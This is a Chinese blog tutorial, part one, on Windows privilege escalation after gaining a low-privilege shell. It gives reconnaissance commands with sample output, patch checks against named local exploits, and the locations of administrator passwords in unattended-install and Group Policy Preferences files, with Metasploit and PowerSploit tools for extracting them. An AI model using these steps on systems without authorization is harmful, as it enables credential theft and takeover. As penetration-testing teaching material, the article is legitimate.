58ssl.cn_SSL之家
当前位置: 首页 > 网络安全 > Windows下的渗透测试之提权的基本套路(上)

Windows下的渗透测试之提权的基本套路(上)

关键词:Windows,测试,提权   时间:2016-11-14      来源:SSL之家    点击:

从t0到t3 - 信息搜集

一开始,我们拥有的帐号是一个没有特权的普通账号。假设我们已经在远程或者在本地利用EXP进行了一次攻击并且获得了一个反弹回来的shell。根本上说,在时间t0,我们不知道被攻击的机器是做什么的,它和谁进行连接,我们拥有怎样的权限,甚至它的操作系统是哪个。

因此,开始的时候,我们就需要快速的搜集一些至关重要的信息,这样我们就可以了解一下我们所处环境的情况。

首先,先看看我们连接的什么类型的操作系统

  1. C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version" 
  2. OS Name:                   Microsoft Windows 7 Professional 
  3. OS Version:                6.1.7601 Service Pack 1 Build 7601 
  4. 注:中文环境下,"OS Name"为"OS 名称","OS Version"为"OS 版本"

    接着,看下计算机名和我们使用的用户

    1. C:\Windows\system32> hostname 
    2. b33f 
    3. C:\Windows\system32> echo %username% 
    4. user1 
    5. 现在我们有了基本的信息,接下来我们可以列出计算机上的其它用户,并且可以看一下我们当前用户的详细信息。从下面的结果可以看出,user1不是本地用户组Administrators的成员。

      1. C:\Windows\system32> net users 
      2. User accounts for \\B33F 
      3. ------------------------------------------------------------------------------- 
      4. Administrator            b33f                     Guest 
      5. user1 
      6. The command completed successfully. 
      7. C:\Windows\system32> net user user1 
      8. User name                    user1 
      9. Full Name 
      10. Comment 
      11. User's comment 
      12. Country code                 000 (System Default
      13. Account active               Yes 
      14. Account expires              Never 
      15. Password last set            1/11/2014 7:47:14 PM 
      16. Password expires             Never 
      17. Password changeable          1/11/2014 7:47:14 PM 
      18. Password required            Yes 
      19. User may change password     Yes 
      20. Workstations allowed         All 
      21. Logon script 
      22. User profile 
      23. Home directory 
      24. Last logon                   1/11/2014 8:05:09 PM 
      25. Logon hours allowed          All 
      26. Local Group Memberships      *Users 
      27. Global Group memberships     *None 
      28. The command completed successfully. 
      29. 这是我们暂时需要了解的关于用户的所有信息。接下来我们需要从网络方面搜集信息了。

        首先,看一下网络连接和路由表。

        1. C:\Windows\system32> ipconfig /all 
        2. Windows IP Configuration 
        3.    Host Name . . . . . . . . . . . . : b33f 
        4.    Primary Dns Suffix  . . . . . . . : 
        5.    Node Type . . . . . . . . . . . . : Hybrid 
        6.    IP Routing Enabled. . . . . . . . : No 
        7.    WINS Proxy Enabled. . . . . . . . : No 
        8. Ethernet adapter Bluetooth Network Connection
        9.    Media State . . . . . . . . . . . : Media disconnected 
        10.    Connection-specific DNS Suffix  . : 
        11.    Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network) 
        12.    Physical Address. . . . . . . . . : 0C-84-DC-62-60-29 
        13.    DHCP Enabled. . . . . . . . . . . : Yes 
        14.    Autoconfiguration Enabled . . . . : Yes 
        15. Ethernet adapter Local Area Connection
        16.    Connection-specific DNS Suffix  . : 
        17.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection 
        18.    Physical Address. . . . . . . . . : 00-0C-29-56-79-35 
        19.    DHCP Enabled. . . . . . . . . . . : Yes 
        20.    Autoconfiguration Enabled . . . . : Yes 
        21.    Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred) 
        22.    IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred) 
        23.    Subnet Mask . . . . . . . . . . . : 255.255.255.0 
        24.    Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM 
        25.    Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM 
        26.    Default Gateway . . . . . . . . . : 192.168.0.1 
        27.    DHCP Server . . . . . . . . . . . : 192.168.0.1 
        28.    DHCPv6 IAID . . . . . . . . . . . : 234884137 
        29.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35 
        30.    DNS Servers . . . . . . . . . . . : 192.168.0.1 
        31.    NetBIOS over Tcpip. . . . . . . . : Enabled 
        32. C:\Windows\system32> route print 
        33. =========================================================================== 
        34. Interface List 
        35.  18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network) 
        36.  13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9 
        37.  11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection 
        38.   1...........................Software Loopback Interface 1 
        39.  16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter 
        40.  15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter \#2 
        41.  19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter \#3 
        42.  14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface 
        43. =========================================================================== 
        44. IPv4 Route Table 
        45. =========================================================================== 
        46. Active Routes: 
        47. Network Destination        Netmask          Gateway       Interface  Metric 
        48.           0.0.0.0          0.0.0.0      192.168.0.1    192.168.0.104     10 
        49.         127.0.0.0        255.0.0.0         On-link         127.0.0.1    306 
        50.         127.0.0.1  255.255.255.255         On-link         127.0.0.1    306 
        51.   127.255.255.255  255.255.255.255         On-link         127.0.0.1    306 
        52.       192.168.0.0    255.255.255.0         On-link     192.168.0.104    266 
        53.     192.168.0.104  255.255.255.255         On-link     192.168.0.104    266 
        54.     192.168.0.255  255.255.255.255         On-link     192.168.0.104    266 
        55.         224.0.0.0        240.0.0.0         On-link         127.0.0.1    306 
        56.         224.0.0.0        240.0.0.0         On-link     192.168.0.104    266 
        57.   255.255.255.255  255.255.255.255         On-link         127.0.0.1    306 
        58.   255.255.255.255  255.255.255.255         On-link     192.168.0.104    266 
        59. =========================================================================== 
        60. Persistent Routes: 
        61.   None 
        62. IPv6 Route Table 
        63. =========================================================================== 
        64. Active Routes: 
        65.  If Metric Network Destination      Gateway 
        66.  14     58 ::/0                     On-link 
        67.   1    306 ::1/128                  On-link 
        68.  14     58 2001::/32                On-link 
        69.  14    306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128 
        70.                                     On-link 
        71.  11    266 fe80::/64                On-link 
        72.  14    306 fe80::/64                On-link 
        73.  14    306 fe80::8d2:b4e:3f57:ff97/128 
        74.                                     On-link 
        75.  11    266 fe80::5cd4:9caf:61c0:ba6e/128 
        76.                                     On-link 
        77.   1    306 ff00::/8                 On-link 
        78.  14    306 ff00::/8                 On-link 
        79.  11    266 ff00::/8                 On-link 
        80. =========================================================================== 
        81. Persistent Routes: 
        82.   None 
        83. arp -A 展示了ARP缓存表.

          1. C:\Windows\system32> arp -A 
          2. Interface: 192.168.0.104 --- 0xb 
          3.   Internet Address      Physical Address      Type 
          4.   192.168.0.1           90-94-e4-c5-b0-46     dynamic 
          5.   192.168.0.101         ac-22-0b-af-bb-43     dynamic 
          6.   192.168.0.255         ff-ff-ff-ff-ff-ff     static 
          7.   224.0.0.22            01-00-5e-00-00-16     static 
          8.   224.0.0.251           01-00-5e-00-00-fb     static 
          9.   224.0.0.252           01-00-5e-00-00-fc     static 
          10.   239.255.255.250       01-00-5e-7f-ff-fa     static 
          11.   255.255.255.255       ff-ff-ff-ff-ff-ff     static 
          12. 下面可以看到活动的网络连接和防火墙规则

            1. C:\Windows\system32> netstat -ano 
            2. Active Connections 
            3.   Proto  Local Address          Foreign Address        State           PID 
            4.   TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       684 
            5.   TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4 
            6.   TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING       4 
            7.   TCP    127.0.0.1:5354         0.0.0.0:0              LISTENING       1400 
            8.   TCP    192.168.0.104:139      0.0.0.0:0              LISTENING       4 
            9.   TCP    [::]:135               [::]:0                 LISTENING       684 
            10.   TCP    [::]:445               [::]:0                 LISTENING       4 
            11.   TCP    [::]:5357              [::]:0                 LISTENING       4 
            12.   UDP    0.0.0.0:5355           *:*                                    1100 
            13.   UDP    0.0.0.0:52282          *:*                                    976 
            14.   UDP    0.0.0.0:55202          *:*                                    2956 
            15.   UDP    0.0.0.0:59797          *:*                                    1400 
            16.   UDP    127.0.0.1:1900         *:*                                    2956 
            17.   UDP    127.0.0.1:65435        *:*                                    2956 
            18.   UDP    192.168.0.104:137      *:*                                    4 
            19.   UDP    192.168.0.104:138      *:*                                    4 
            20.   UDP    192.168.0.104:1900     *:*                                    2956 
            21.   UDP    192.168.0.104:5353     *:*                                    1400 
            22.   UDP    192.168.0.104:65434    *:*                                    2956 
            23.   UDP    [::]:5355              *:*                                    1100 
            24.   UDP    [::]:52281             *:*                                    976 
            25.   UDP    [::]:52283             *:*                                    976 
            26.   UDP    [::]:55203             *:*                                    2956 
            27.   UDP    [::]:59798             *:*                                    1400 
            28.   UDP    [::1]:1900             *:*                                    2956 
            29.   UDP    [::1]:5353             *:*                                    1400 
            30.   UDP    [::1]:65433            *:*                                    2956 
            31.   UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:1900  *:*                      2956 
            32.   UDP    [fe80::5cd4:9caf:61c0:ba6e%11]:65432  *:*                     2956 
            33. 接下来的两个netsh命令是不能在所有操作系统都通用的命令的例子,netsh firewall命令只能在XP SP2及其以上版本的操作系统使用。

              1. C:\Windows\system32> netsh firewall show state 
              2. Firewall status: 
              3. ------------------------------------------------------------------- 
              4. Profile                           = Standard 
              5. Operational mode                  = Enable 
              6. Exception mode                    = Enable 
              7. Multicast/broadcast response mode = Enable 
              8. Notification mode                 = Enable 
              9. Group policy version              = Windows Firewall 
              10. Remote admin mode                 = Disable 
              11. Ports currently open on all network interfaces: 
              12. Port   Protocol  Version  Program 
              13. ------------------------------------------------------------------- 
              14. No ports are currently open on all network interfaces. 
              15. C:\Windows\system32> netsh firewall show config 
              16. Domain profile configuration: 
              17. ------------------------------------------------------------------- 
              18. Operational mode                  = Enable 
              19. Exception mode                    = Enable 
              20. Multicast/broadcast response mode = Enable 
              21. Notification mode                 = Enable 
              22. Allowed programs configuration for Domain profile: 
              23. Mode     Traffic direction    Name / Program 
              24. ------------------------------------------------------------------- 
              25. Port configuration for Domain profile: 
              26. Port   Protocol  Mode    Traffic direction     Name 
              27. ------------------------------------------------------------------- 
              28. ICMP configuration for Domain profile: 
              29. Mode     Type  Description 
              30. ------------------------------------------------------------------- 
              31. Enable   2     Allow outbound packet too big 
              32. Standard profile configuration (current): 
              33. ------------------------------------------------------------------- 
              34. Operational mode                  = Enable 
              35. Exception mode                    = Enable 
              36. Multicast/broadcast response mode = Enable 
              37. Notification mode                 = Enable 
              38. Service configuration for Standard profile: 
              39. Mode     Customized  Name 
              40. ------------------------------------------------------------------- 
              41. Enable   No          Network Discovery 
              42. Allowed programs configuration for Standard profile: 
              43. Mode     Traffic direction    Name / Program 
              44. ------------------------------------------------------------------- 
              45. Enable   Inbound              COMRaider / E:\comraider\comraider.exe 
              46. Enable   Inbound              nc.exe / C:\users\b33f\desktop\nc.exe 
              47. Port configuration for Standard profile: 
              48. Port   Protocol  Mode    Traffic direction     Name 
              49. ------------------------------------------------------------------- 
              50. ICMP configuration for Standard profile: 
              51. Mode     Type  Description 
              52. ------------------------------------------------------------------- 
              53. Enable   2     Allow outbound packet too big 
              54. Log configuration: 
              55. ------------------------------------------------------------------- 
              56. File location   = C:\Windows\system32\LogFiles\Firewall\pfirewall.log 
              57. Max file size   = 4096 KB 
              58. Dropped packets = Disable 
              59. Connections     = Disable 
              60. 最后,我们大概的看一下计算机上的:计划任务,正在运行的进程,启动的服务,安装的驱动程序。

                这条命令将详细的展示出所有的计划任务:

                1. C:\Windows\system32> schtasks /query /fo LIST /v 
                2. Folder: \Microsoft\Windows Defender 
                3. HostName:                             B33F 
                4. TaskName:                             \Microsoft\Windows Defender\MP Scheduled Scan 
                5. Next Run Time:                        1/22/2014 5:11:13 AM 
                6. Status:                               Ready 
                7. Logon Mode:                           Interactive/Background 
                8. Last Run Time:                        N/A 
                9. Last Result:                          1 
                10. Author:                               N/A 
                11. Task To Run:                          c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob 
                12.                                       -WinTask -RestrictPrivilegesScan 
                13. Start In:                             N/A 
                14. Comment:                              Scheduled Scan 
                15. Scheduled Task State:                 Enabled 
                16. Idle Time:                            Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes 
                17. Power Management:                     No Start On Batteries 
                18. Run As User:                          SYSTEM 
                19. Delete Task If Not Rescheduled:       Enabled 
                20. Stop Task If Runs X Hours and X Mins: 72:00:00 
                21. Schedule:                             Scheduling data is not available in this format. 
                22. Schedule Type:                        Daily 
                23. Start Time:                           5:11:13 AM 
                24. Start Date:                           1/1/2000 
                25. End Date:                             1/1/2100 
                26. Days:                                 Every 1 day(s) 
                27. Months:                               N/A 
                28. Repeat: Every:                        Disabled 
                29. Repeat: Until: Time:                  Disabled 
                30. Repeat: Until: Duration:              Disabled 
                31. Repeat: Stop If Still Running:        Disabled 
                32. [..Snip..] 
                33. 下面的这条命令将正在运行的进程和该进程启动的服务列了出来:

                  1. C:\Windows\system32> tasklist /SVC 
                  2. Image Name                     PID Services 
                  3. ========================= ======== ============================================ 
                  4. System Idle Process              0 N/A 
                  5. System                           4 N/A 
                  6. smss.exe                       244 N/A 
                  7. csrss.exe                      332 N/A 
                  8. csrss.exe                      372 N/A 
                  9. wininit.exe                    380 N/A 
                  10. winlogon.exe                   428 N/A 
                  11. services.exe                   476 N/A 
                  12. lsass.exe                      484 SamSs 
                  13. lsm.exe                        496 N/A 
                  14. svchost.exe                    588 DcomLaunch, PlugPlay, Power 
                  15. svchost.exe                    668 RpcEptMapper, RpcSs 
                  16. svchost.exe                    760 Audiosrv, Dhcp, eventlog, 
                  17.                                    HomeGroupProvider, lmhosts, wscsvc 
                  18. svchost.exe                    800 AudioEndpointBuilder, CscService, Netman, 
                  19.                                    SysMain, TrkWks, UxSms, WdiSystemHost, 
                  20.                                    wudfsvc 
                  21. svchost.exe                    836 AeLookupSvc, BITS, gpsvc, iphlpsvc, 
                  22.                                    LanmanServer, MMCSS, ProfSvc, Schedule, 
                  23.                                    seclogon, SENS, ShellHWDetection, Themes, 
                  24.                                    Winmgmt, wuauserv 
                  25. audiodg.exe                    916 N/A 
                  26. svchost.exe                    992 EventSystem, fdPHost, netprofm, nsi, 
                  27.                                    WdiServiceHost, WinHttpAutoProxySvc 
                  28. svchost.exe                   1104 CryptSvc, Dnscache, LanmanWorkstation, 
                  29.                                    NlaSvc 
                  30. spoolsv.exe                   1244 Spooler 
                  31. svchost.exe                   1272 BFE, DPS, MpsSvc 
                  32. mDNSResponder.exe             1400 Bonjour Service 
                  33. taskhost.exe                  1504 N/A 
                  34. taskeng.exe                   1556 N/A 
                  35. vmtoolsd.exe                  1580 VMTools 
                  36. dwm.exe                       1660 N/A 
                  37. explorer.exe                  1668 N/A 
                  38. vmware-usbarbitrator.exe      1768 VMUSBArbService 
                  39. TPAutoConnSvc.exe             1712 TPAutoConnSvc 
                  40. [..Snip..] 
                    1. C:\Windows\system32> net start 
                    2. These Windows services are started: 
                    3.    Application Experience 
                    4.    Application Information 
                    5.    Background Intelligent Transfer Service 
                    6.    Base Filtering Engine 
                    7.    Bluetooth Support Service 
                    8.    Bonjour Service 
                    9.    COM+ Event System 
                    10.    COM+ System Application 
                    11.    Cryptographic Services 
                    12.    DCOM Server Process Launcher 
                    13.    Desktop Window Manager Session Manager 
                    14.    DHCP Client 
                    15.    Diagnostic Policy Service 
                    16.    Diagnostic Service Host 
                    17.    Diagnostic System Host 
                    18.    Distributed Link Tracking Client 
                    19.    Distributed Transaction Coordinator 
                    20.    DNS Client 
                    21.    Function Discovery Provider Host 
                    22.    Function Discovery Resource Publication 
                    23.    Group Policy Client 
                    24. [..Snip..] 
                    25. 这有时是有用的,一些第三方驱动程序,即使是有信誉的公司,也可能有比瑞士奶酪上的孔还多的的漏洞。这仅仅是有可能的,因为对ring0攻击在大多数人专业技能之外。

                      1. C:\Windows\system32> DRIVERQUERY 
                      2. Module Name  Display Name           Driver Type   Link Date 
                      3. ============ ====================== ============= ====================== 
                      4. 1394ohci     1394 OHCI Compliant Ho Kernel        11/20/2010 6:01:11 PM 
                      5. ACPI         Microsoft ACPI Driver  Kernel        11/20/2010 4:37:52 PM 
                      6. AcpiPmi      ACPI Power Meter Drive Kernel        11/20/2010 4:47:55 PM 
                      7. adp94xx      adp94xx                Kernel        12/6/2008 7:59:55 AM 
                      8. adpahci      adpahci                Kernel        5/2/2007 1:29:26 AM 
                      9. adpu320      adpu320                Kernel        2/28/2007 8:03:08 AM 
                      10. AFD          Ancillary Function Dri Kernel        11/20/2010 4:40:00 PM 
                      11. agp440       Intel AGP Bus Filter   Kernel        7/14/2009 7:25:36 AM 
                      12. aic78xx      aic78xx                Kernel        4/12/2006 8:20:11 AM 
                      13. aliide       aliide                 Kernel        7/14/2009 7:11:17 AM 
                      14. amdagp       AMD AGP Bus Filter Dri Kernel        7/14/2009 7:25:36 AM 
                      15. amdide       amdide                 Kernel        7/14/2009 7:11:19 AM 
                      16. AmdK8        AMD K8 Processor Drive Kernel        7/14/2009 7:11:03 AM 
                      17. AmdPPM       AMD Processor Driver   Kernel        7/14/2009 7:11:03 AM 
                      18. amdsata      amdsata                Kernel        3/19/2010 9:08:27 AM 
                      19. amdsbs       amdsbs                 Kernel        3/21/2009 2:35:26 AM 
                      20. amdxata      amdxata                Kernel        3/20/2010 12:19:01 AM 
                      21. AppID        AppID Driver           Kernel        11/20/2010 5:29:48 PM 
                      22. arc          arc                    Kernel        5/25/2007 5:31:06 AM 
                      23. [..Snip..] 
                      24. t4 - WMIC的神秘艺术

                        我在这里单独的拿出WMIC(Windows Management Instrumentation Command-Line)来讲解,是因为它是Windows平台下最有用的命令行工具。

                        WMIC在信息搜集和后渗透测试阶段非常实用。话虽这么说,其实它是有一点笨重的,因为它有时候会输出比我们需要的信息更多的信息。

                        要完全讲完WMIC的使用,要耗费很长的时间。还有不得不提的是,一些输出可能会因为它的格式,很难在命令行下完美的展示出来。

                        在这里安利两个WMIC的教程:

                        不幸的是,一些windows默认的配置是不允许使用WMIC命令的,除非你是管理员组成员。经过我的测试,在XP下低权限用户是不能使用WMIC命令,但是在Windows 7 和Windows 8下,低权限用户可以使用WMIC,且不用更改任何设置。这正是我们使用WMIC搜集目标机器信息的前提。

                        下面是WMIC的命令行帮助:

                        1. C:\Windows\system32> wmic /? 
                        2. [global switches]  
                        3. The following global switches are available: 
                        4. /NAMESPACE           Path for the namespace the alias operate against. 
                        5. /ROLE                Path for the role containing the alias definitions. 
                        6. /NODE                Servers the alias will operate against. 
                        7. /IMPLEVEL            Client impersonation level
                        8. /AUTHLEVEL           Client authentication level
                        9. /LOCALE              Language id the client should use. 
                        10. /PRIVILEGES          Enable or disable all privileges
                        11. /TRACE               Outputs debugging information to stderr. 
                        12. /RECORD              Logs all input commands and output
                        13. /INTERACTIVE         Sets or resets the interactive mode. 
                        14. /FAILFAST            Sets or resets the FailFast mode. 
                        15. /USER                User to be used during the session. 
                        16. /PASSWORD            Password to be used for session login. 
                        17. /OUTPUT              Specifies the mode for output redirection. 
                        18. /APPEND              Specifies the mode for output redirection. 
                        19. /AGGREGATE           Sets or resets aggregate mode. 
                        20. /AUTHORITY           Specifies the  for the connection
                        21. /?[:<BRIEF|FULL>]    Usage information. 
                        22. For more information on a specific global switch, type: switch-name /? 
                        23. The following alias/es are available in the current role: 
                        24. ALIAS                    - Access to the aliases available on the local system 
                        25. BASEBOARD                - Base board (also known as a motherboard or system board) management. 
                        26. BIOS                     - Basic input/output services (BIOS) management. 
                        27. BOOTCONFIG               - Boot configuration management. 
                        28. CDROM                    - CD-ROM management. 
                        29. COMPUTERSYSTEM           - Computer system management. 
                        30. CPU                      - CPU management. 
                        31. CSPRODUCT                - Computer system product information from SMBIOS. 
                        32. DATAFILE                 - DataFile Management. 
                        33. DCOMAPP                  - DCOM Application management. 
                        34. DESKTOP                  - User's Desktop management. 
                        35. DESKTOPMONITOR           - Desktop Monitor management. 
                        36. DEVICEMEMORYADDRESS      - Device memory addresses management. 
                        37. DISKDRIVE                - Physical disk drive management. 
                        38. DISKQUOTA                - Disk space usage for NTFS volumes. 
                        39. DMACHANNEL               - Direct memory access (DMA) channel management. 
                        40. ENVIRONMENT              - System environment settings management. 
                        41. FSDIR                    - Filesystem directory entry management. 
                        42. GROUP                    - Group account management. 
                        43. IDECONTROLLER            - IDE Controller management. 
                        44. IRQ                      - Interrupt request line (IRQ) management. 
                        45. JOB                      - Provides  access to the jobs scheduled using the schedule service. 
                        46. LOADORDER                - Management of system services that define execution dependencies. 
                        47. LOGICALDISK              - Local storage device management. 
                        48. LOGON                    - LOGON Sessions. 
                        49. MEMCACHE                 - Cache memory management. 
                        50. MEMORYCHIP               - Memory chip information. 
                        51. MEMPHYSICAL              - Computer system's physical memory management. 
                        52. NETCLIENT                - Network Client management. 
                        53. NETLOGIN                 - Network login information (of a particular user) management. 
                        54. NETPROTOCOL              - Protocols (and their network characteristics) management. 
                        55. NETUSE                   - Active network connection management. 
                        56. NIC                      - Network Interface Controller (NIC) management. 
                        57. NICCONFIG                - Network adapter management. 
                        58. NTDOMAIN                 - NT Domain management. 
                        59. NTEVENT                  - Entries in the NT Event Log. 
                        60. NTEVENTLOG               - NT eventlog file management. 
                        61. ONBOARDDEVICE            - Management of common adapter devices built into the motherboard (system board). 
                        62. OS                       - Installed Operating System/s management. 
                        63. PAGEFILE                 - Virtual memory file swapping management. 
                        64. PAGEFILESET              - Page file settings management. 
                        65. PARTITION                - Management of partitioned areas of a physical disk. 
                        66. PORT                     - I/O port management. 
                        67. PORTCONNECTOR            - Physical connection ports management. 
                        68. PRINTER                  - Printer device management. 
                        69. PRINTERCONFIG            - Printer device configuration management. 
                        70. PRINTJOB                 - Print job management. 
                        71. PROCESS                  - Process management. 
                        72. PRODUCT                  - Installation package task management. 
                        73. QFE                      - Quick Fix Engineering. 
                        74. QUOTASETTING             - Setting information for disk quotas on a volume. 
                        75. RDACCOUNT                - Remote Desktop connection permission management. 
                        76. RDNIC                    - Remote Desktop connection management on a specific network adapter. 
                        77. RDPERMISSIONS            - Permissions to a specific Remote Desktop connection
                        78. RDTOGGLE                 - Turning Remote Desktop listener on or off remotely. 
                        79. RECOVEROS                - Information that will be gathered from memory when the operating system fails. 
                        80. REGISTRY                 - Computer system registry management. 
                        81. SCSICONTROLLER           - SCSI Controller management. 
                        82. SERVER                   - Server information management. 
                        83. SERVICE                  - Service application management. 
                        84. SHADOWCOPY               - Shadow copy management. 
                        85. SHADOWSTORAGE            - Shadow copy storage area management. 
                        86. SHARE                    - Shared resource management. 
                        87. SOFTWAREELEMENT          - Management of the  elements of a software product installed on a system. 
                        88. SOFTWAREFEATURE          - Management of software product subsets of SoftwareElement. 
                        89. SOUNDDEV                 - Sound Device management. 
                        90. STARTUP                  - Management of commands that run automatically when users log onto the computer  
                        91.                            system. 
                        92. SYSACCOUNT               - System account management. 
                        93. SYSDRIVER                - Management of the system driver for a base service. 
                        94. SYSTEMENCLOSURE          - Physical system enclosure management. 
                        95. SYSTEMSLOT               - Management of physical connection points including ports,  slots and  
                        96.                            peripherals, and proprietary connections points. 
                        97. TAPEDRIVE                - Tape drive management. 
                        98. TEMPERATURE              - Data management of a temperature sensor (electronic thermometer). 
                        99. TIMEZONE                 - Time zone data management. 
                        100. UPS                      - Uninterruptible power supply (UPS) management. 
                        101. USERACCOUNT              - User account management. 
                        102. VOLTAGE                  - Voltage sensor (electronic voltmeter) data management. 
                        103. VOLUME                   - Local storage volume management. 
                        104. VOLUMEQUOTASETTING       - Associates the disk quota setting with a specific disk volume. 
                        105. VOLUMEUSERQUOTA          - Per user storage volume quota management. 
                        106. WMISET                   - WMI service operational parameters management. 
                        107. For more information on a specific alias, type: alias /? 
                        108. CLASS     - Escapes to full WMI schema
                        109. PATH      - Escapes to full WMI object paths. 
                        110. CONTEXT   - Displays the state of all the global switches. 
                        111. QUIT/EXIT - Exits the program. 
                        112. For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /? 
                        113. 为了省时省力,我写了一个可以放在目标机器上,调用WMIC来提取下面信息(进程,服务,用户,用户组,网络连接,硬盘信息,网络共享信息,已安装补丁,启动项,已安装的软件,操作系统的相关信息,和时区)的脚本。

                          从t5到t6 - 快速攻陷

                          在继续之前,你需要先看一下你已经搜集到的信息,下一步就是要寻找一下能被利用的系统缺陷来提升我们的权限。

                          首先我们要看的是是补丁修正情况,我的WMIC脚本可以列出已安装的补丁,但是你也可以通过下面这条命令来查看:

                          1. C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn 
                          2. Caption                                     Description      HotFixID   InstalledOn 
                          3. http://support.microsoft.com/?kbid=2727528  Security Update  KB2727528  11/23/2013 
                          4. http://support.microsoft.com/?kbid=2729462  Security Update  KB2729462  11/26/2013 
                          5. http://support.microsoft.com/?kbid=2736693  Security Update  KB2736693  11/26/2013 
                          6. http://support.microsoft.com/?kbid=2737084  Security Update  KB2737084  11/23/2013 
                          7. http://support.microsoft.com/?kbid=2742614  Security Update  KB2742614  11/23/2013 
                          8. http://support.microsoft.com/?kbid=2742616  Security Update  KB2742616  11/26/2013 
                          9. http://support.microsoft.com/?kbid=2750149  Update           KB2750149  11/23/2013 
                          10. http://support.microsoft.com/?kbid=2756872  Update           KB2756872  11/24/2013 
                          11. http://support.microsoft.com/?kbid=2756923  Security Update  KB2756923  11/26/2013 
                          12. http://support.microsoft.com/?kbid=2757638  Security Update  KB2757638  11/23/2013 
                          13. http://support.microsoft.com/?kbid=2758246  Update           KB2758246  11/24/2013 
                          14. http://support.microsoft.com/?kbid=2761094  Update           KB2761094  11/24/2013 
                          15. http://support.microsoft.com/?kbid=2764870  Update           KB2764870  11/24/2013 
                          16. http://support.microsoft.com/?kbid=2768703  Update           KB2768703  11/23/2013 
                          17. http://support.microsoft.com/?kbid=2769034  Update           KB2769034  11/23/2013 
                          18. http://support.microsoft.com/?kbid=2769165  Update           KB2769165  11/23/2013 
                          19. http://support.microsoft.com/?kbid=2769166  Update           KB2769166  11/26/2013 
                          20. http://support.microsoft.com/?kbid=2770660  Security Update  KB2770660  11/23/2013 
                          21. http://support.microsoft.com/?kbid=2770917  Update           KB2770917  11/24/2013 
                          22. http://support.microsoft.com/?kbid=2771821  Update           KB2771821  11/24/2013 
                          23. [..Snip..] 
                          24. 这些输出的结果是不能直接被利用的,最好的方式是去找权限提升的EXP并且将这些编号与EXP编号进行对比。这些EXP包括,但不限于:KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799)。

                            如果有许多机器需要被安装,通常,一个技术员不会挨个机器手动装机。有一些自动安装的解决方案。这些方案是什么以及它们是如何工作的对我们的目的不重要,重要的是他们留下的用于安装过程的配置文件,这些安装文件包含大量的敏感信息,例如操作系统的产品密钥和管理员的密码。我们最感兴趣的就是管理员密码,因为我们可以用它来提升我们的权限。

                            通常的,这些目录包含这些配置文件(检查整个系统的所有文件也是不错想法):

                            1. c:\sysprep.inf 
                            2. c:\sysprep\sysprep.xml 
                            3. %WINDIR%\Panther\Unattend\Unattended.xml 
                            4. %WINDIR%\Panther\Unattended.xml 
                            5. 这些文件要么包含着明文密码,要么就是Base64加密后的密码。下面是一个例子:

                              sysprep.inf 文件中的明文密码:

                              1. credentials. 
                              2. [GuiUnattended] 
                              3. OEMSkipRegional=1 
                              4. OemSkipWelcome=1 
                              5. AdminPassword=s3cr3tp4ssw0rd 
                              6. TimeZone=20 
                              7. sysprep.xml 文件中的Base64加密后的密文:

                                1. credentials. Please people Base64 is not 
                                2. encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword"
                                3. <LocalAccounts> 
                                4.     <LocalAccount wcm:action="add"
                                5.         <Password
                                6.             <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> 
                                7.             <PlainText>false</PlainText> 
                                8.         </Password
                                9.         <Description>Local Administrator</Description> 
                                10.         <DisplayName>Administrator</DisplayName> 
                                11.         <Group>Administrators</Group
                                12.         <Name>Administrator</Name
                                13.     </LocalAccount> 
                                14. </LocalAccounts> 
                                15. Unattended.xml 中同样是Base64加密后的密文:

                                  1. <AutoLogon> 
                                  2.     <Password
                                  3.         <Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value> 
                                  4.         <PlainText>false</PlainText> 
                                  5.     </Password
                                  6.     <Enabled>true</Enabled> 
                                  7.     <Username>Administrator</Username> 
                                  8. </AutoLogon> 
                                  9. 在我们的好基友Ben Campbell的推荐下,我将获取组策略首选项(Group Policy Preferences)保存的密码也作为快速攻陷目标机器的方式之一。GPP允许域管理员在域控制端远程向域内主机添加本地账户以方便管理。当你要攻击的计算机连接到了一个域,那么去寻找储存在SYSVOL中的Groups.xml文件是非常值得做的事。任何经过授权的用户都对该文件有读的权限。在这个xml文件中,密码是用AES加密的,但令人费解的是,在MSDN上,密码的密钥和加密方式都被公布了,这样我么就可以轻松的解密这个密码。

                                    除了Groups.xml,其他的策略选项文件也有可选的“cPassword”属性:

                                    例如以下这几个:

                                    1. Services\Services.xml 
                                    2. ScheduledTasks\ScheduledTasks.xml 
                                    3. Printers\Printers.xml 
                                    4. Drives\Drives.xml 
                                    5. DataSources\DataSources.xml 
                                    6. 这个漏洞可以手动的浏览SYSVOL文件夹,接下来我来做个示范:

                                      然而,我们都喜欢自动的方法,这样我们可以尽可能快的完成这个操作。这里主要有两种方式,取决于我们拥有的shell类型和权限的大小。

                                      (1)metasploit的一个模块(post/windows/gather/credentials/gpp

                                      (2)你可以使用PowerSploit的Get-GPPPassword功能。PowerSploit是一个强大的powershell框架,作者是Matt Graeber。

